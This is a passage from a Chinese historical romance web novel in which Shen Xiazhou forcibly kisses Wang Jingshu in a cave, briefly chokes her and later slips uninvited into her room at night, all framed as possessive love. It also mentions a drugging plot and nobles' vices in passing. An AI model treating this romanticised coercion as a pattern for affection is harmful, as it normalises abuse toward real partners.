而惠王本还想护着女郎一二,却在他挥袖驱赶零星飞得最快的几只马蜂时,女郎就已第一时间跑了。 沈遐洲笑意终于畅快了几分,非是为他们的肆意逃窜开怀,而是发现女郎对惠王也不过如此。 他目视混乱,朝着卫士扬了扬眉,卫士便知要拖着这边。 王静姝跑,她的侍婢自然也是紧跟着她跑,她蒙着头,连路也不择,直到耳畔没有嗡响了,才敢放下点衣袖,也就放下一点儿,露出双眼。 她靠着一石窟洞壁,舒气一瞬,胸腹也跟着不断起伏,显然是跑累了,说话也带着一股子的断音:“竹苓,我们可是安全了?” 话甫一问完,方才察觉到与她一同躲进石窟的身影不对,太高了些,落下的阴影也太大了些。 王静姝吓得后撤一步,仰头才将眼前的人瞧清。 她不由皱了皱眉,几日不见,年轻郎君竟比惠王形容还要苍白憔悴,可他目色又那般幽沉如蕴有鬼火。 她便猜得今日怕又是沈遐洲的手笔。 沈遐洲这是在报复她。 现下他应是如意了,她与惠王的约又被破坏,还狼狈逃窜如此,他是在心中肆笑吧? 王静姝血色一点点褪去,唇也抿成一线,在石窟中与郎君一上一下地相望。 谁也没有先开口。 王静姝不喜这种氛围,也被盯得不耐,不管如何,她是不会走回头路的,她步子挪动,要从沈遐洲身前出了洞口。 “你要去寻陈雍?” 王静姝反应了好一瞬,才想得他说的应是惠王,长眉不自在地蹙了蹙,既觉得古怪,也觉得他提起惠王怎一点敬重也没有,甚至还隐有些对抗? 她步子并不停,她才不与这个又病又麻烦的郎君待在一起,万一又晕了吐血了,她岂不是又要与他说不清了。 洞窟只有雕刻到一半的石像,几步的距离而已,她只需再向外迈一步就能重沐阳光下。 后方却在此时掼来一股力道,一点也不温柔,像掠夺一样。 随之而来的是郎君放大了的面孔,在她愣神之际,果断撬开了她唇齿,舌尖被轻吮一下,继而力道变大,她的舌被卷入,被掠夺…… 她双眼也蓦然地睁大。 她感觉不舒服,除去被强压着的身躯,她的腰也被掐得痛,但更令她不敢置信的是,沈遐洲竟敢这样对她? 他竟然逼迫她? 要说她过往十几载的人生,最厌恶什么,那无疑是被逼迫,被威胁,被身不由己。 尤其这人还是相识许久的沈遐洲,他不是个良善的郎君,可在她的认知里,他至少不应这么对她。 心中不断汩出委屈的同时,还有一股子的怒火,她身躯挣扎,却引得郎君屈膝来压制她,但也终于被她寻到机会狠咬了他一口。 郎君吃痛但并不放开,铁锈味在两人唇齿间传递,他只放缓了些亲吻的力道,有点缠绵,还有点享受,病态一般将腔壁中最后一点腥甜品尝殆尽,才缓缓松开女郎。 王静姝喘、息不已,奋地将他一把推开,大口吸进着空气。 被逼出的一点晶莹泪意挂在洇红的眼尾,发髻也在方才的挣扎中散乱无比,衬得她本就明妍的小脸有点儿糜艳。 肿翘的唇珠充血一般勾着人想再咬一口。 他压下脸又想去亲亲。 “啪”清脆的一声响。 沈遐洲没躲,冷白面容清晰的指印,他只略微停顿一瞬,连同女郎的手腕一同压制了,打都挨了,非要亲到不可。 他白牙碾磨着女郎红滟滟的唇珠,轻啄一下,贴着她的脸问:“你寻他做什么?” “你还想当我舅母?”似被这个想法激到了,他叼着王静姝一小块面皮重重啃一下,“你想都别想。” 王静姝嘶声一下,痛的。 沈遐洲简直不可理喻,疯了可能。 这时最冷静的做法,其实不该刺激沈遐洲,可若真示弱了,那也就不是王静姝了,她双目耀耀,若有星火,“我是想当你舅母,说不得用不了多久我就能成功了,所以你现在又在对你舅母做什么?” “你大逆不道。” 沈遐洲笑意阴鸷,既觉得生气,又莫明的兴奋,说出的话也诡谲无比:“你若是我舅母,我就杀了陈雍。” “你还不知道吧,你想的好郎君也不是什么好人。” “你当是什么人妨碍了你端午祭的选拔?”他顶着变红又变肿的一半脸颊,兴味又恶意无比:“给我二哥茶水中下药的就是我那好舅舅。” 王静姝无疑是震惊的,但又不甘露怯地啐道:“惠王不是什么好郎君,难道你就是了吗?” “你得意什么?” 沈遐洲明显想起自己在女郎那儿的恶毒案底,再加之他现在的举动就更当不起君子。 他其实一点也不怕王静姝对惠王的欣赏 ,因为惠王本质也不是什么好人,所以他才在瞧见女郎抛下惠王那一刻,经不住兴奋地跑来找寻存在感,甚至眼巴巴地将惠王做了什么揭示给她听。 没想原来他在王静姝心底是更不堪的,她最喜欢的果然还是吕思温那种光明磊落的郎君。 她与他在一起那些时日,果然是贪恋他容色的虚情假意。 沈遐洲像是被女郎话刺中一般退后几步,满目伤色:“王静姝,我看透你了,你会后悔抛弃我的。” 第36章 第36章伤害她! 又是放狠话,王静姝经不住翻了个白眼。 但明显的,她从中辨出了些不一样的底气。 上一次不欢而散,沈遐洲说不会让她如意,她如今也是见识过他的手段了。 这次又说她一定会后悔的。 他要做什么? 王静姝心底不免防备,眼见沈遐洲又要被她气走,她轻勾沈遐洲袖袍一下。 郎君有所感地回头,容色病态的苍白,却又在察觉女郎动作的一瞬,显出些矜傲,“你这时挽留我就当有用了?” 王静姝简直要被他的自信给打败了,他当他顶着又红又肿还憔悴的面容,还能让她心动吗? 她绕过郎君抛出的话头,垫脚用指腹触上郎君红肿的脸庞,她力气无疑是大的,这没个好几日怕是消不掉。 她轻触了触,又心疼地吹了吹,语气也轻柔诱哄无比:“三表哥,你一定很疼吧?” 沈遐洲僵着的容色有些绷不住,他能清晰感受到女郎抚在面上的触感,还有温温热热带着撩拨的吹气。 她怎这般变化无常,时而疏远,又时而亲近。 他的一颗心也紧跟着在热油与云端徘徊。 他淡下脸色,拉下女郎的手腕,飞快瞥她一眼,冷声:“说话便说话,莫动手动脚,这还不是你自己做下的好事。” 呵呵,王静姝心中冷笑,沈遐洲竟还有脸指责她,也不想想他自己做了什么。 她心中有怒,但并不在面上显露,她声音更柔,还有些嗔怪,“那还不是三表哥你弄疼我了。” “我后腰被你掐得很疼,你还突然亲得那么凶。” 女郎的指责与男子不同,像在解释,又像是在撒娇,一径酥麻到了郎君的心间,血液都经不住地沸腾。 她打哪学来的这些手段? 郎君一会想享受女郎的温柔,一会又警醒自己要小心,理智不断拉扯中,女郎却又嘟嘴上前:“你瞧,我唇也一定破了。” 她唇色润泽,除却因方才亲得有些凶显出的肿涨外,并无破口,可她非要说有问题,明明白白地勾着人回想起方才的情景,她腰肢那么柔软,唇也那般甜蜜…… 回想起来甚至只觉得自己禽兽。 “三表哥,我们也算是两败俱伤。”女郎有些微的难过,语气却依旧在轻诱:“你还想做什么让我后悔?” 当然是用你害怕的丹阳王。 沈遐洲陡地凝了目色,王静姝这个坏女郎在套他的话。 他意味不明地低笑两声,袖着手不搭理她。 王静姝是极熟悉他这装腔作势的样子的,也看出了郎君的用意,无非是想让她承认自己错了,最好再求求他,他想的倒是挺美,刚才一巴掌或许该再用些气力。 既然套不出,那便见招拆招,她本想直接收回与沈遐洲的虚与委蛇,却仍是瞧不惯他那好似一切在把握的高人姿态,捏着嗓道:“表哥既然不愿说便罢了,我新编的一飞天舞,想来只能献给惠王了,我早日将自己嫁出去,也就不用再受某人左一个不让我如意,又一个让我后悔了。” 沈遐洲的眼珠倏地动了,她要做什么? 要跳舞给惠王看? 还想着将自己嫁给旁人? 不是都告诉她惠王不是好人了吗? 惠王不是好人就可以嫁,到了他就不行吗? 俊美又顶着巴掌印的郎君容色扭曲一下,终是受不了女郎的刺激,开口:“我可以告诉你。” 王静姝外踏的步子收了回来,眼尾也胜利地挑了挑。 “不过我有个条件。”沈遐洲视线游过女郎春水一般的腰,又漫过玲珑的起伏,克制地将声调放得冷静。 王静姝敛目思量,已可以肯定,沈遐洲定是有及自信能拿捏她的把柄,并且还觉得说出来也无妨。 会是什么? 她想不出来,而他面前的郎君却又姿态慵懒了下来,乌黑平静的眼眸落在女郎身上,带着一种优雅又矜傲的打量,他幽幽问道:“想好了吗?” 未知总是更让人被猫抓一般难以忍受。 王静姝不肯屈服地抬眸:“你先说你的条件是什么?” 沈遐洲又忸怩了起来,还显出了几分纯情的羞赧:“就你方才说的,什么飞天舞,只跳给我看。” 他说时,略微避开了女郎的目光,抛却被女郎瞧不起的脸面,病态地想,惠王能看,凭什么他不能看? 如此想着,也就理直气壮地回望了女郎。 王静姝被他一番姿态弄得生出几分嫌弃,强吻的事都做得出来,还装什么纯情。 “可以。” “你说吧。”也就跳跳舞的事,王静姝并不觉得自己有什么损失,要说唯一恼的是,沈遐洲这人就如狗皮膏药一般,一旦沾上了,便怎么都断不干净,如今她也有些自暴自弃地想,就先哄着,安抚着吧。 等他厌了,也就如同数年前那样,不吭声地消失了。 沈遐洲:“你先立字据。” 王静姝这下是真不能忍了,目中都冒出了火,“沈九如,你脑子有病吗?” “你先看看这是什么地方,我哪为你寻纸笔?” 被女郎的一通骂,沈遐洲并不觉得有错,王静姝这样的女郎,就是用纸笔都觉得缺少了一些约束力,他的目光落到了洞窟中没雕刻完的佛像旁,那是工匠落下的刻刀等工具。 王静姝也发觉了他的目光,顺着瞧过去,“你不会是要我用这个吧?” 沈遐洲点头了。 他竟然点头了。 王静姝觉得自己都要被逼疯了,怎有这样难搞的郎君,她当初就不该见色起意,也不该招惹这样的郎君。 他简直又病又麻烦。 她都被气得有些神志不清了,竟真捡起刻刀带着怒地刻下了一行字“欠沈九如飞天舞一次”,她扔下刻刀,带怒地偏靥沈遐洲:“这样可以了吧?” 同她蹲在一处的郎君,半边没有带伤的脸对向他,憔悴且隽逸,也就这脸令她克制住了将刻刀往他身上砸的怒火。 沈遐洲对着石壁上的字迹没有点头,指点道:“再加个名字。” 不妙的呼吸声在耳畔加重,沈遐洲自发地拾起了刻刀,默默将女郎的名字刻了上去。 王静姝忍耐问:“可以说了?” 沈遐洲直起身,理了理袖袍,慢悠悠地掀眼:“我知你是被丹阳王逼得躲来洛京。” 王静姝浑身震颤一下,血色一点一点地从娇靥上褪去,原来沈遐洲都知晓了,那他瞧着她四处钻营可是在心中得意? 难怪他要不断破坏和拆散她接近的郎君,沈遐洲是想等着自己最后去求他吧。 如今直言告诉她,是否是觉得她别无它法? 也难怪他敢说她一定会后悔的,他是不是也对丹阳王使了什么手段?或是探得了什么? 否则如何认定了她一定会后悔? 王静姝忽地觉得有些反胃,贵女又如何,总有家族还有更有权势的人,想拿她换取着些什么,丹阳王觊觎她,而她的大伯父想用她与丹阳王交好,长公主也用其威胁她。 如今沈遐洲也拿此来胁迫她了。 她这样生性妄为的女郎,最是厌恶这种无法自主选择的逼迫了,沈遐洲连她最后自己挑选夫婿的自由,都要抢占。 甚至还在她不知的情况下,骗走她的一舞承诺。 沈遐洲没有如愿瞧得女郎的恐惧,他还想吓唬女郎道丹阳王会派人入京,却眼见着女郎琉璃一般清透的眼眸清暗一片,幽潭般沉静,不复往日神采,但气势却诡异地拔高了一截,她逼近自己一步:“所以呢,你要利用丹阳王让我后悔没有选择你吗?” “洛京好郎君这般多,你有什么值得我选择的?” “无论你做什么,我都不会后悔。” “一舞承诺就当我送你了。” 女郎恼怒至极,也无畏至极,什么威胁都被她抛却脑后,话语冰冷如利刃,沈遐洲不让她好过,她也绝不让他感到半分畅快,“你同长公主一样令我感到恶心。” 沈遐洲耳畔嗡鸣,热血冷却,双目充血,乌黑瞳仁紧盯女郎吐出恶语的红唇,他怒掐向女郎下颌,视线又下移至女郎纤弱的脖 颈。 女郎一点也不畏惧他,“你是恼羞成怒了?” “你得不到我的心,所以就也想用强权迫我屈服,你是想等着我无路可走来求你吗?” “你同丹阳王之流也没甚区别。”说着,女郎脖颈前倾,隐隐更送入他视野,也更送入他手中,挑衅道:“沈九如,有本事你就掐死我好了。” 沈遐洲眼神变得尖锐,肆意的杀气蔓延,王静姝竟如此将他当丹阳王那种老儿看待,她一再挑战他的忍耐,也一再地踩在他雷区,他充斥的恶意如蛛网一般布满心间。 这些恶意有自小养蕴出来的,也有被刻意深植的,他常有干脆毁了这个大绥的念头,干脆毁了大绥,所有人便不会再为这一半向上,一半腐烂的大绥汲汲营营。 他也为自己所图争权夺势。 原来殊途同归,他与自己所厌恶的人也没什么两样。 他恶意的一面完全被女郎牵引了出来,这种感觉十分奇妙,女郎温软的面颊就贴在他虎口,纤弱、无力,也就剩下嘴硬。 恶意在心间叫嚣,既然她已如此看他了,那何不干脆点地——伤害她! 兴奋、颤栗地微缩了手中力道,女郎露出了些痛苦的神情。 她是极美的女郎,即便狼狈也满身诱人芳华,可她也是极骄傲倔强的女郎,都到这份上了,也一点也不示弱和求饶。 她眼尾不知是早前的洇红没有消退,还是因此刻的痛苦难受的,红红一片,眼眸也如有水流一般波光晃动。 他自女郎眼中瞧得自己此刻狰狞的面目,陡地放开了女郎。 王静姝甫一获得自由,猛咳一阵,大骂:“沈遐洲你就是疯子,我会喜爱你那才真是见鬼了。” 说完,她一刻也不留,像被猛鬼追逐一般踉跄着跑了。 第37章 第37章“王静姝的欠债。”…… 王静姝没跑多久,就碰上了无头苍蝇一般乱寻她的侍女。 竹苓几人慌张上前扶她:“娘子!” 王静姝死里逃生般倚在竹沥身上。 她鬓发很乱,额间也覆着很薄的一层湿意,衣襟也有些松散,颊靥处更是留下些遭到逼迫一般的红痕。 竹苓被她的形容吓到了,连忙上前遮挡,并帮着收整一二问:“娘子遇到什么了?” 娘子自来是个机灵敏捷的,方才也应当没有被马蜂,可短短的功夫,到底什么能把自家娘子吓成这样,她话中隐有要探寻甚至报官的意味,即便不报官,冒犯了自家娘子也该将人拿下。 王静姝显然听出了竹苓的用意,疲累的眼皮艰难掀动,“遇见个疯子,不用理会,家去,我要寻二表哥。” 她算是真正见识到沈遐洲疯劲了,这样的疯子,她又刺激了他,怕是又要惹来什么报复,思来想去,能治他的或许只有沈二郎。 当初星泉不就提醒过她,遇事寻沈二郎吗? 她片刻不想多留,就要家去。 竹苓也并无阻拦,娘子这般形容确实家中去的好。 然快经至石窟寺外道口,有叠声“王娘子”传来,追上来的是惠王身边的仆侍:“王娘子,原来你在这儿,可让我家殿下好找,娘子怎忽地不见了人影?” 王静姝遮挡着不太方便见人的脸颊,缓声道:“我惊吓过度,择错了路不甚摔了一跤,容颜有损,不便于再去见惠王殿下,劳侍令帮我转达一声,改日我再与惠王殿下致歉。” 王静姝客气,那侍令遂也不多言,如是转达,惠王眸色偏暗,低垂下的视线落在被马蜂蛰咬了的手背处,红肿中间一点黑刺,是马蜂的尾针,他也不等医师处理,自行将尾针拔出,毒液也挤出,有仆侍连忙将水囊捧上。 冰凉的水稍洗去一些灼痛。 惠王:“抓到扔蜂窝的人了?” 一众卫士等待审判般垂头。 “也罢,行事之人武艺颇高,不怪你们。” 惠王语气和善,众人心中不免庆幸自己跟从的主子良善。 无人留意惠王的笑意是不达眼底的,他们跟从惠王正离开时,却与沈遐洲一行人不期然地遇到了一处。 两方郎主,一个手肿如发面,一个脸肿如遭蹂躏,卫士们相觑的同时,年岁相差不大的舅甥两人,目光交汇间也几多相互打量。 “三郎怎也在这?你脸这是怎么?”惠王心间划过几多猜测,却有些忍笑,目光也落在了年轻郎君身后盖着锦帛的石块上,石块颇大,锦帛也只盖了一半,隐约露出些刻字的痕迹来。 有点耐人寻味。 沈遐洲并不遮挡脸上的伤痕,只见了惠王着实没有好脸色,不过好歹没有再瞧见王静姝也跟在惠王身边,他皮笑肉不笑地道:“不小心撞的,倒是殿下的手?” 他的视线也下落。 惠王无碍地动了动手:“被野蜂蛰的。” 两人都无事一般行在一处闲聊,但沈遐洲不免恶意:“殿下不是才被母亲责罚了,就又来礼佛?” 惠王:“佛窟静心,也好洗去一些我心中不安。” 沈遐洲呵笑:“殿下有心。” 惠王听出其中嘲讽,怅然不已:“我知三郎心里怪我,但你也是知晓的,我这条命都是你母亲给的,长姐需要我做什么,我都会去做。” 他说的正是当初在沈二郎茶水中下药一事。 话里话外无疑是在解释他当初所为的动机。 但事实如何,大抵只有他自己知晓,长公主身边的内监被他收拢了心,透露出了长公主与沈遐洲母子的矛盾,他趁机示意了老内监,令长公主在这时想起了他。 多年来,他一直是个命不久矣的老好人形象,长公主自来对他的乖觉满意,但一直这样下去也是不行的,他需要适时显露自己的价值,出现在人前,让许多的朝臣能看见他。 同时,他也不能显露得太聪明。 长公主有意将助陶然成为主祭的任务交给他,既是用他也是防备他。 他惶恐接下,但却用了直白又容易出事的笨方法,破坏威胁最大的王娘子和沈二郎的参选。 此举必然挑起沈家与长公主的矛盾,没想沈二郎倒是个能忍的,意识到其中多有不妙,并不往下深查。 意外的是,长公主竟忽地察觉了他与老内监的往来,若单只是端午祭之事便也罢了,老内监过往与他往来竟也暴露了出来,长公主无疑是动怒的,好在他做事向来不留把柄,他是积德行善的好人,他对任何人都好,老内监自己会错了意,生出了妄念与他又有何干? 长公主意识到他的人心所向,多少是个隐患,寻了由头罚了他,他不负所望地又病了一场。 今日出门既是赴王娘子的约,也是让有心人瞧一瞧他如今的状态。 蜂窝的恶作剧本还难以抓得黑手,瞧得沈遐洲的模样倒是不难猜了,王娘子可真是个妙人啊,能将沈三郎打成这样也是够胆,这两人关系似乎自来交恶?交恶到他似乎也受了无妄之灾? 这种交恶是有迹可循的,当初两人就当着他的面互相抢夺名士,如今又恰同王娘子一起时,遇到蜂窝与顶着掌印的沈遐洲。 深植的第一印象,即便再谨慎的人,有时也会影响人的判断,他曾数次回忆王娘子与沈遐洲的相处,甚至想过沈三郎拒绝原定对陶娘子的帮助是为了王娘子,可又数次打消了这个念头,沈二郎夹在其中,并不排除是沈二郎的缘由。 毕竟沈家子弟不多,沈遐州面上虽不显,但极在意沈二郎,平时也多听得进去沈二郎的劝说。 今日一面,更是肯定了心中所想。 见沈遐洲并不为他的解释有所 动容,便提起道:“三郎可在寺中遇到了王娘子?” 沈遐洲眼珠动了动,更有阴郁之气溢出。 惠王便知他们定然是遇上了的。 “王娘子孤身来洛京,年岁又小,三郎有时还是莫要与王娘子太过较真。” 沈遐洲兀地瞧上惠王一眼,笑得颇为古怪,只觉惠王可真是好涵养,好面皮,无时无刻不忘显露自己的善意,他就是这样骗得王静姝信他的吧? 惠王也没指望沈遐洲能将他的话听进去,此番也不过是一如过去许多年那样,维持着他没什么能力,却爱多管闲事的好人形象。 他也并不将长公主对他的责罚放在心里,罚了才说明事情翻篇了,也更证明了他成不了什么事。 唯令他在意与可惜的是,长公主与沈家还是太紧密了些,世家之首的沈家才是长公主的依仗,要撬动,一个中了点药的沈二郎果然还是不够。 还是要再等上一段时日。 两人面和心不和地如常一般行了一段路,到了石窟寺门才分开。 * 王静姝一回府就寻上了沈二郎,将自己脸上的痕迹展示给沈二郎瞧,还将沈遐洲近来所为添油加醋地说了一番,直道她与沈遐洲已不能在同一府中住下去了,她决意搬到别院去,请求二表哥帮她安排。 她知道的,沈二郎的生母袁氏苦夏,前些时日刚搬去了宜阳一处近水的别院避暑,只要她恳求,二表哥定然送她走。 沈二郎也没想到几日的功夫,两人怎么就闹到了动手的地步,早前一些的时候,在他撮合下,两人分明很是亲近。 三郎所为实在是过了,他安抚道:“表妹放心,别院何时去都可,三郎那边,等他回来我也定当给你讨个公道。” 沈二郎越看王静姝腮畔的红痕,越发地气恼不让他省心的沈遐洲,撸袖就要为王静姝去寻沈遐洲。 王静姝连忙拉住了沈二郎,“二表哥,你还是先安排人送我走吧,行李晚些收也是可的。” 女郎眼睫抖动如簌簌飞花,怜弱非常,这于王静姝这样的女郎来说是极为少有的。 沈二郎被女郎唤软了心肠,来回踱步几瞬,“也罢,你就先去修养几日。” “三郎我自会料理,押他由表妹处置。” 王静姝对此只摇头不语。 沈二郎便又来了气:“表妹,你就是太良善,三郎连你这样的女郎都欺负,他就是个黑心肝的,你该当硬气一些……” 王静姝还是垂眼不语。 不收拾行李只是先带仆从走,备车并不需多久,王静姝不过听了半响沈二郎要如何收拾沈遐洲便已能出发。 王静姝与沈二郎告别:“二表哥,你多开解开解三表哥吧,让他心眼别总是太小。” 沈二郎自然应是。 王静姝的马车走了不久,沈二郎便等回了沈遐洲,冠袍甚华的郎君行姿迢迢,然,走近了才可见其面色之白,其上掌印又是多么触目惊心。 积了一肚训斥话的沈二郎不免哽住了,他不敢置信地瞧:“三郎,你这脸上的伤——”来回比对那掌印大小,终于还是疑问出声:“表妹打的?” 沈遐洲幽目望来,“她人呢,可回了?” 默认的语气,沈二郎忽地明白了表妹临走前为何有那般叮嘱。 他真小看了王表妹。 这两人倒是谁也不遑多让。 他心中啧叹,但并不立马出卖王静姝,转移注意看向沈遐洲带回的石块,伸手去掀锦帛。 手在半道被拦了下来。 “三郎是带回了什么?”沈二郎讪讪收回手。 日光照在年轻郎君脸上,一半俊美,一半狰狞,他吐字道:“王静姝的欠债。” * 已跑路一段的女郎无缘由地感到脖颈一阵凉,她不由摸了摸脖颈,又从脖颈处上移到颊畔,她自来肌肤娇嫩,红痕看着可怖,可她自己知晓,早已不疼了,只等再过上些时辰也就褪完了,可沈遐洲今日所为着实吓到她了。 她虽嘴上强硬,可真硬碰硬,她怕是要吃亏,也怕郎君再度胁迫她。 与其如此,倒不如先躲一躲,与袁夫人住一处去,谅他也做不了什么。 她只可惜她寻夫婿的谋划又要搁置些时日,可转念想,即便继续待在洛京,沈遐洲也是会出手破坏的。 她不免又来回地暗骂沈遐洲无可救药的疯子。 第38章 第38章“通常这时候,亲亲就能…… 宜阳别院的景致尤好,高阁之上下望苗圃花卉缤纷,远望赭色天际与清白湖泊连成一线。 这已是王静姝到此的第五日,沈遐洲并未追来报复她,也不知是沈二郎发挥了作用,还是沈遐洲自己冷静后想开了。 她对着窗外兀自有些出神,既想两人当日的僵局,又想自己之后该如何是好,总不能一直这样避下去。 可要她放下身段去与沈遐洲和解也是不可能的事,就凭沈遐洲黑心肝胁迫她的念头,就够她记恨的了。 而且他还掐自己,王静姝始终觉得他有点不正常。 她细细回忆到底是自己的哪一句话刺激了他,怔忡一瞬,她的每一句话好像都挺能刺激沈遐洲的。 越想反生出了一种欺负了沈遐洲的错觉出来,她连忙将这种杂念全赶出脑海,垂头继续描绘着飞天神女画,这是她那日观石窟壁画有感所记下的一些动作,又经翻阅佛教飞天与道教飞仙典籍,做出了一些修改。 为达到飘逸翩飞之感,她还在梁柱之上悬了彩帛借力,经几日的功夫试验练习,已颇有些自信。 只等将全舞编完,她的飞天舞也就成了。 她鼻尖不由小小地蹙了蹙,沈遐洲竟还想她新编的舞只给他一人看,想着去吧。 她这舞,大有用处,七月初七是七夕,七月十三是大势至菩萨佛诞日,再往后五日就是千秋宴,这些日子连得紧密,每日都是宴请与赴约的好时候。 女郎抵着笔,突然又恼上了,沈遐洲、沈遐洲、这个大变数还在。 就没有人能收得了他,将他也赶出洛京吗? * 沈府。 沈二郎与星泉再一次瞧着沈三郎从宫中下了值回府,阴郁着脸色入了房中。 这已是这几日的常态。 沈二郎这么个大活人被忽视了也不觉有什么,反兴味十足,他对着星泉问:“你家郎君每日就这样入了房中再不出来?” “岂止呢,三郎连饭也常常不用。” “夜里灯也一点就是一夜。”星泉既抱怨又担忧,“二郎君,你就别再看热闹了,郎君再这般下去身体哪里吃得消。” 沈二郎抱臂点头,正经不过一瞬,移步到沈遐洲门窗下,推开一点儿,瞥着眼往里瞧自己这个三弟整日躲在房中做什么。 只见屋中昏暗,年轻郎君面前放着一块大石,便这般对着石头一动不动。 星泉凑上前小声道:“二郎君,那石头到底有什么魔力,三郎莫不是中邪了?” “子不语怪力乱神。”沈三郎敲星泉脑壳一下,缓缓将窗牖合了回去。 不远处的嵇牧只当没有瞧见沈二郎的举动,能有人来管管自家郎君也是好的。 沈二郎离远了一些,料想三郎如今的消沉模样定然是与王表妹有关,早前他就察觉这两人氛围不简单,如今倒是证实了,这两人何止是吵架了,分明还害了相思。 沈二郎心明眼亮,摇头晃脑地往院外走。 星泉一会看看紧闭的房门,一边又去追着沈二郎问:“二郎君,你就这样不管我家郎君了吗?” “笨,”沈二郎骂星泉一声,又高深莫测地道:“解铃人还须系铃人,今日已晚,明日我 亲去宜阳看望看望我母亲。” 星泉越发懵懂了,三郎的病症同在宜阳的袁夫人有何关系? 与此同时,房中盯着石块的郎君眼珠动了动,眸色深如幽海,幽暗如厉鬼。 王静姝是个倔强女郎,她不会主动来看他的,即便回来了,怕也是如花蝴蝶一般四处交友玩乐,再过分点,继续寻她想要的好夫婿。 一想到这,他胸腔中名为嫉妒与恶意的蛛网,便渐渐烧成一团,他对王静姝思之如狂,他既想见女郎,又担忧自己会再次伤害到她。 当然,也不想再听到女郎吐出的恶语,她说的没有一个字是好听的。 洛京的好郎君哪里多,她是没有见着那些郎君私底下的放浪形骸,他们有的喜欢幼女,有的喜欢豢养娈童,还有的依赖各种养身方,其中也不知有人从哪寻出来的古方,道“服五石散,非唯治病,亦觉神明开朗。” 有些方子或改良或新炼,在各种私宴中流转。 沈遐洲见过先帝死前状态,已瘦成了皮包骨仍旧坚信丹药可治病可长生,他对这些向来嗤之以鼻,先帝去后,长公主更是将那些炼丹师一同送去陪伴了先帝。 诸人知长公主手段,有些东西也并不放明面上流行,但不得不说,王静姝的眼光无疑是好的,她瞧中的郎君,先不说家中兄弟如何,本人大都是清风朗正亦或是清俊单纯的。 可正因如此,才越发地显得他性格阴晦,尤其是女郎还道他与长公主一般令她感到恶心。 他重重怒火之下,是浓浓的自厌。 他好像自来不是个讨人喜爱的郎君,他不如吕思温坦荡正直,也不如惠王温柔“良善”,他阴晴不定,甚至时常被脑中另一股恶意支配。 王静姝不喜爱他这样的郎君似乎情有可原。 浓浓的自厌从郎君身上散出,可他紧盯着石块的双眼又有阴鸷与不甘流出,他能接受女郎对他的不喜爱是一回事,可放任她喜爱其他人,甚至投入他人怀抱又是另一回事。 不论是过去还是现在,都是她先来招惹他的。 他怎么可能放任她再选择除他之外的人? 又怎么接受有一日,她站在旁的郎君跟前巧笑盼兮,光是想想,他就已怒不可遏,生出抢回来的念头。 她是他的。 这些念头来得如此强烈,如潮涌一般将他所有的徘徊与自厌覆去。 沈遐洲睁开眼,面容如冷玉一般清寒,既隽逸憔悴,又幽冷如鬼。 他起身,有条不紊地做着些安排,还给沈二郎留下了一封信,继而在浓酽的夜色中出了城。 * 黑夜中,不管是绮槛雕栏,还是雕梁铜瓦,一切都变得模模糊糊,正是人熟睡的时刻。 王静姝贪凉,夜里阁楼中的窗扇未关,外头自湖上来的凉风卷入,连带着投入的月影也摇晃不已。 晃得王静姝睡梦中也不安生,她兀地睁开了眼,迷糊中起身,欲将那些白日练舞留下的白练收整好,可除去白练,还有诸多绑缚在梁上的彩帷,不得已,还是得去关窗。 然也是关完窗,转身的关头,她撞入了一个冰凉凉的怀抱,她几欲呼喊出声,有人捂住了她的唇。 她毫不犹豫地咬上去。 郎君闷哼一声,但也不收回手,任由女郎施力,他甚至能感到女郎虎牙的尖锐。 刺破肌肤的痛感自骨指处向上攀延,无端的刺激,令他颤栗不已。 王静姝终于察觉到不对,那闷声无比耳熟,那不再冰凉逐渐显出温感的怀抱也诡异的熟悉。 她慢慢松开齿间的力度,牙间带着星点腥甜,她抬眼上望的同时,舌尖经不住地去舔了舔。 关了窗的房内,极其黑暗,即便抬眼,她也望不清眼前的人是谁,她不由伸手去触碰。 沈遐洲习武之人,夜里也能视物,他垂眼间能将女郎极细微的动作都捕入眼,她睡得松垮的衣襟露出了大片的肩颈肌肤,雪白无比,近在咫尺的芙蓉面也不带半点脂粉,明明该显素净的容颜,可经她舔舐尖牙的微小动作,偏生生出令人不敢多视的艳色来。 女郎的指腹触了上来,在他的颊靥滑动。 沈遐洲呼吸都像是要停滞了一般,感到脸颊在微微生热。 “沈遐洲,是你,对吧?”女郎的声音在黑暗中极其清晰,还带着几分肯定。 他轻嗯了一声,倏地被用力推一下。 “你大半夜的不睡觉,来我这里装神弄鬼吓唬我?” “你来这里做什么?” “你不会想趁我睡掐死我吧?”女郎先是生气,继而被自己的猜测吓到般后退几步:“我警告你,不要乱来,我屋旁住的可是你二伯母。” 她早就为了防备沈遐洲,与袁二夫人毗邻而住。 沈遐洲显然的,在来前,就将附近所住之人探清了,他低声,有些伤感,又有些虚弱:“我没有,我是来同你道歉的。” “那日,我不该掐你。” “你那天是不是被我吓到了?” 王静姝在一片漆黑中,歪了头,显出些不敢置信的呆滞。 这时郎君才同她小小地靠近了一步,他道:“是我错了,你要如何报复回来都可。” “你可以再打我一巴掌。” 他在黑暗中去牵女郎的手,在她呆滞之时,引着她的手去碰触自己的颊面。 温热但明显有些瘦削了的触感令王静姝回了神,她用力缩回自己的手,道:“你先去点灯。” 她有时是极无情的女郎,有时又是极不理智的女郎,她能因瞧见了与沈遐洲的种种不可能,及时断情收心,可也会因郎君夜奔而来的温声道歉软了心肠。 几盏烛火亮起,屋中终于不再漆黑一片。 王静姝也终于能将年轻郎君此时的形容瞧真切。 他清减了不少,隽逸姿容苍白瘦削,不说话时有点失魂落魄的孤伶感。 王静姝眼睫颤了颤,在床沿处坐下,避开与他的对视,她觉得沈遐洲天生就生得她喜欢的模样,他怎么连这般清淡冷瘦模样都能令她心脏砰砰直跳。 更何况他还说想如何报复他都可。 她空茫茫的神志不由有些发昏。 极轻微的滴落声唤醒了她的注意,房中并无滴漏,哪来的水声? 她目触到了沈遐洲的手,血从伤处冒出,蜿蜒一条,而在他手的下方,正是晕开的血滴。 那正是她方才所咬之处,她虎牙尖尖的,用的力道又大,她别开眼地想,是沈遐洲吓唬她在先。 偏眼不过一瞬,又抵不过良心谴责地又凝向那处。 沈遐洲察觉般地抬手在伤处吮了吮,“无碍,只是一点。” 面色苍白的郎君唇色也淡,可此番吮吸下,那唇角也沾上了一点点血痕,只有一点,可他自来是洁净无比的郎君,那一点就极为突兀,极为让人想为他抹去。 并且,瞬响的功夫,那伤处又渗出了血,明明白白地提醒着王静姝她做下的事。 她咬牙克制着自己涌出的冲动,她觉得沈遐洲就是故意来装可怜的,过往闹得更大的时候,小郎君都不曾同她道过歉,也不曾对她流露出过这样—— 这样惹人心疼的神情。 他绝对是装的。 然,正因从未曾有过,才显得难以忍受。 